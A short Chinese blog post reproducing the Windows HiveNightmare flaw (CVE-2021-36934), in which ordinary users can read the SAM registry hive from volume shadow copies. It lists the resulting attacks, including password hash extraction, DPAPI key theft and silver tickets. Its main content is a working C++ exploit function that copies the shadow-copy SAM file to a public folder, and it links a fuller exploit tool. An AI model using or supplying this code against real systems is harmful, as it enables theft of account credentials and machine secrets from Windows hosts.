本文基于https://kb.cert.org/vuls/id/506989和twitter上jonasLyk的文章复现
漏洞出现时间是7月20日,允许普通用户通过windows volumeshadowcopy读取卷影中的sam、security文件。产生以下影响
•提取和利用帐户密码哈希。•发现原始 Windows 安装密码。•获取DPAPI计算机密钥,可用于解密所有计算机私钥。•获取一个电脑机器账号,可以用来进行银票攻击。
windows在MSI或者Windows Update 安装中,如果系统磁盘大于128 GB,则系统会自动创建还原点。

c:\windows\system32\config\sam下有RX权限
我的系统为windows10的19042.1052(目前windows11有,windows10有的有,有的没有,请自行测试)

如果存在漏洞,则会有以下回显。

使用FileTest来读取文件

通过createfile函数获取到sam的handle后,通过readfile来读取文件。

自己实现的一个漏洞利用的demo。
BOOL CVE_2021_36934() {
//打开并读取卷影文件
HANDLE rFile = CreateFile(L"\\\\.\\GlobalRoot\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (rFile == INVALID_HANDLE_VALUE)
{
printf("ERROR: failed to open file \n");
return false;
}
int dwFileSize = GetFileSize(rFile, NULL);
BYTE* pbBmpBuffer = new BYTE[dwFileSize];
DWORD Count = 0;
ReadFile(rFile, pbBmpBuffer, dwFileSize, &Count, NULL);
CloseHandle(rFile);
//打开转储文件,并将读取到的文件转储为C:\\users\\public\\sam.txt
HANDLE wFile = CreateFile(L"C:\\users\\public\\sam.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (wFile == INVALID_HANDLE_VALUE)
{
printf("ERROR: failed to write file \n");
return false;
}
DWORD writesize = 0;
WriteFile(wFile, pbBmpBuffer, dwFileSize, &writesize, NULL);
CloseHandle(wFile);
return TRUE;
}执行结果

具体的工程化漏洞利用可以使用https://github.com/GossiTheDog/HiveNightmare。